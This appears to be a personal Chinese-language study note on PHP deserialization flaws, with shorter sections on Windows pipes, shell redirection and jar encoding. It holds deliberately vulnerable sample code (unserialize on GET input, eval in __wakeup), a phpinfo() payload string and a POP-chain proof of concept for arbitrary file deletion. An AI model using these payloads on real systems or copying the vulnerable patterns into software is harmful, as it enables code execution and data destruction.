反序列化
反序列化漏洞是基于序列化和反序列化的操作,在反序列化——unserialize()时存在用户可控参数,而反序列化会自动调用一些魔术方法,如果魔术方法内存在一些敏感操作例如eval()函数,而且参数是通过反序列化产生的,那么用户就可以通过改变参数来执行敏感操作,这就是反序列化漏洞。反序列化漏洞是基于序列化和反序列化的操作,在反序列化——unserialize()时存在用户可控参数,而反序列化会自动调用一些魔术方法,如果魔术方法内存在一些敏感操作例如eval()函数,而且参数是通过反序列化产生的,那么用户就可以通过改变参数来执行敏感操作,这就是反序列化漏洞。
什么是序列化和反序列化
序列化是将对象的状态信息转换为可以存储或传输的形式的过程,在序列化期间,对象将当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象状态,重新创建该对象。
简单的来讲:
序列化:把对象转换为字节序列的过程称为对象的序列化。 反序列化:把字节序列恢复为对象的过程称为对象的反序列化。
序列化和反序列化的格式:
类型:d ->d代表一个整型数字
O:d -> 对象 ->d代表该对象类型的长度,例如上述的azhe类对象长度为4,原生类对象Error长度为5
a:d -> 数组 ->d代表数组内部元素数量,例如array('a'=>'b','x'=>1)有两个元素
s:d -> 字符串 -dN代表字符串长度,例如abc序列化后为s:3:"abc";
i:d -> 整型 ->d代表整型变量的值,例如300序列化后的值则为i:300;
a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string
class Xlh{
public $test=123;
protected $test2='123';
private $test3=array(1,2,'san');
}
$xlh= new Xlh();
$xlh=serialize($xlh);
echo $xlh."<br>";
$fxlh=unserialize($xlh);
print_r($fxlh);
/*
$aaa=123;
i:123
$bb="123";
s:2:"123";
*/
结果:
O:3:"Xlh":3:{s:4:"test";i:123;s:8:"%00*%00test2";s:3:"123";s:10:"%00Xlh%00test3";a:3:{i:0;i:1;i:1;i:2;i:2;s:3:"san";}}
Xlh Object ( [test] => 123 [test2:protected] => 123 [test3:Xlh:private] => Array ( [0] => 1 [1] => 2 [2] => san ) )
序列化的格式:不同的类型序列化之后的表示方式大同小异;
漏洞原理实例:
在反序列化时,参数用户可控,魔术方法中存在危害函数,就会产生反序列化漏洞,下面给出一个最简单的实例
<?php
class test{
var $id = 'Baize';
function __wakeup(){
eval($this->id);
}
}
$test1 = $_GET['string'];
$test2 = unserialize($test1);
?>
审计代码,总结如下
1.可控参数是GET型string参数
2.后端接收参数后进行反序列化操作
3.test类中存在__wakeup魔术方法,操作是eval($id)
那么我们思路是:构造test类的序列化字符串,使得反序列化后得$id值为要执行的操作,例如我们要执行phpinfo(),那么可以构造这样一个字符串
O:4:"test":1:{s:2:"id";s:10:"phpinfo();"}
在反序列化后会重新创建该对象test,并且id参数会恢复为我们提交的序列化参数中设定的值,即phpinfo(); ,那么我们可以推理出反序列化之后的test对象大致如下
<?php
class test{
var $id = 'phpinfo();';
function __wakeup(){
eval($this->id);
}
}
?>
而反序列化会时会自动调用__wakeup魔术方法,即执行eval(phpinfo();)
漏洞检测:
反序列化漏洞的发现一般需审计源码,寻找可利用的pop链
上面的例子为了让大家理解,较为简单,直接在魔术方法中就有可以利用的漏洞,自动调用魔术方法从而触发漏洞,而实际中基本不会有这种这么简单的,更多的则是需要通过寻找相同的函数名将类的属性和敏感函数的属性联系起来
下面我们就通过两道简单的题目来学习构造简单的pop链来利用反序列化漏洞
POP CHAIN(POP链):
概念:
通过用户可控的反序列化操作,其中可触发的魔术方法为出发点,在魔术方法中的函数在其他类中存在同名函数,或通过传递,关联等可以调用的其他执行敏感操作的函数,然后传递参数执行敏感操作,即
用户可控反序列化→魔术方法→魔术方法中调用的其他函数→同名函数或通过传递可调用的函数→敏感操作
实例解析1:
源码:
<?php
class Test1{
protected $obj;
function __construct(){
$this->obj = new Test3;
}
function __toString(){
if (isset($this->obj)) return $this->obj->Delete();
}
}
class Test2{
public $cache_file;
function Delete(){
$file = “/var/www/html/cache/tmp/{$this->cache_file}”;
if (file_exists($file)){
@unlink($file);
}
return 'I am a evil Delete function';
}
}
class Test3{
function Delete(){
return 'I am a safe Delete function';
}
}
$user_data = unserialize($_GET['data']);
echo $user_data;
?>
代码分析:
首先我们看最限制行的操作在最下面反序列化GET到的参数data,然后执行echo $user_data,这里如果$user_data是一个类实例化来的对象的话,就会触发对象中的__tostring()魔术方法
其次源码中有三个类,分别是Test1,Test2,Test3,依次分析
Test1:
class Test1{
protected $obj;
function __construct(){
$this->obj = new Test3;
}
function __toString(){
if (isset($this->obj)) return $this->obj->Delete();
}
}
1.首先声明了$obj变量
2.类中有__construct()和__tostring()魔术方法,__construct()方法为$obj变量赋值为Test3类的实例化对象,__tostring()方法判断如果$obj变量存在则返回调用$obj对象中的Delete()函数
Test2:
class Test2{
public $cache_file;
function Delete(){
$file = “/var/www/html/cache/tmp/{$this->cache_file}”;
if (file_exists($file)){
@unlink($file);
}
return 'I am a evil Delete function';
}
}
1.首先声明了$cache_file变量
2.定义了Delete()函数,如果定义的$file变量中的文件存在,则删除此文件并返回提示内容
Test3:
class Test3{
function Delete(){
return 'I am a safe Delete function';
}
}
1.定义了Delete()函数,此函数只返回一句话,没有敏感操作,为安全函数
POP链构造:
首先出发点是Test1中的__tostring()魔术方法,其中调用了$this->obj中的Delete()函数,而$this->obj是在实例化对象是触发__construct方法,将$this->obj作为实例化Test3类的对象,那么此时调用的就是Test3类中的Delete()函数,只返回一句提示,那么此时的执行流如下
Test1类→__construct()→$this->obj=new Test3→__tostring()→Test3.Delete方法
不过在Test2类中也定义了和Test3中同名的函数Delete(),那么我们可以通过构造特定的反序列化参数来修改执行流,也就是构造我们的POP链,在反序列化后使用Test2类中的Delete()来执行敏感操作,让执行流如下
Test1类→__construct()→$this->obj=new Test2→__tostring()→Test2.Delete方法
那么POP链的构造就是通过反序列化和echo来触发__tostring()魔术方法,并且此方法中调用Test2中的Delete()方法,造成任意文件删除的危害。
利用POC:
<?php
class Test1{
protected $obj;
function __construct(){
$this->obj = new Test2;
}
}
class Test2{
public $cache_file = '../../../../test.php';
}
$evil = new Test1();
echo urlencode(serialize($evil));
?>
个人理解,序列化是便于对数据进行存储和处理(传输),反序列化便于代码的执行?
反序列化漏洞:
构造pop链,构造一个序列化数据(包含想要执行的代码、命令)、利用pop链将构造好的序列化数据传入。
管道
什么是管道命令
管道命令能够将一个命令的执行结果经过筛选,只保留我们需要的信息。
如 dir 命令会显示目录下所有文件夹和文件,可以使用管道命令| findstr “” 将dir的结果进行筛选,只保留需要的信息
1、Windows netstat 查看端口、进程占用
// 假如我们需要确定谁占用了我们的9050端口
C:/>netstat -aon|findstr "9050"
TCP 127.0.0.1:9050 0.0.0.0:0 LISTENING 2016
//端口被进程号为2016的进程占用,继续执行下面命令:
C:/>tasklist|findstr "2016"
tor.exe 2016 Console 0 16,064 K
// tor.exe 占用了你的端口
2、查看文件夹目录结构
tree > list.txt
tree /f >list.txt
3、输入输出重定向
echo -c // -c:不换行,linux下则是-n
输入输出重定向:
每执行一个命名,都会有3个与之相关的文件.标准输入文件,标准输出文件,错误输出文件.
因为unix/linux下把任何一个设备都当作文件看待,所有实际上标准输入文件是键盘,
标准输出和错误输出文件是屏幕.
> 输出重定向
< 输入重定向
<< 输入追加
>> 输入追加
文件描述符:
每一个文件可以用文件描述符来描述,系统提供12个,3-9可以任意定义.0-2系统定义如下:
0 标准输入 键盘
1 标准输出 显示器
2 错误输出 显示器
即可以用0-2代表上面的3个文件.
例如:cmd>file //cmd的输出重定向到file文件
cmd>>file //cmd的输出追加到file中,无则创建
cmd 1>file //把运行cmd的shell的标准输出重定向到file中,1代表标准输出
cmd>file 2>&1 //把cmd的输出重定向到file,同时把2(错误输出)重定向到1(标准输出).
2 > 1 则会把1当成文件,所有把错误定向到1必须使用&1.
cmd 2>file //把错误输出定向到file中
cmd>>file 2>&1 //把错误和cmd输出追加到file中,cmd>>file,追加;2>&1,错误定向到
标准输出,标准输入又追加到file中,所以错误和cmd输出都追加到file
cmd 1>>file 2>&1 //可以把此命令等效于上一个命令
cmdfile2 //cmd的输入是file1,结果输出到file2
cmd<<END //cmd使用标准输入,直到遇到END则退出.END可为任意一个字符
理解:cmd使用默认的标准输入,运行,碰到END,则追加,但是标准输入输出
不能追加,于是出错退出.
注:经试验理解不对,据linux shell编程25章的说法,
这是shell定的语法.可以直接理解成END为分隔符.
cmd<&m //把文件描述符m作为cmd的输入
cmd>&m //把文件描述符m作为cmd的输出
cmd<&- //关闭标准输入.
!!!注意:
1. 输入输出定向符前面不要加空格,否则容易出意想不到的问题
2. 0 1 2不能使用>>或<<定向符,例: 2>>&1 出错
Jar包
在生成jar包时要注意系统环境默认的编码,比如要生成一个poc在burp中发送,最好是在linux中生成,在windows下,或者macOS中要,可能加上-Denc-Dfile.encoding=utf-8
参考文章
CMD命令行管道命令 – quanzhan – 博客园 (cnblogs.com)
解决jar包在cmd里运行和IDE里运行不一致问题 – 王帅真 – 博客园 (cnblogs.com)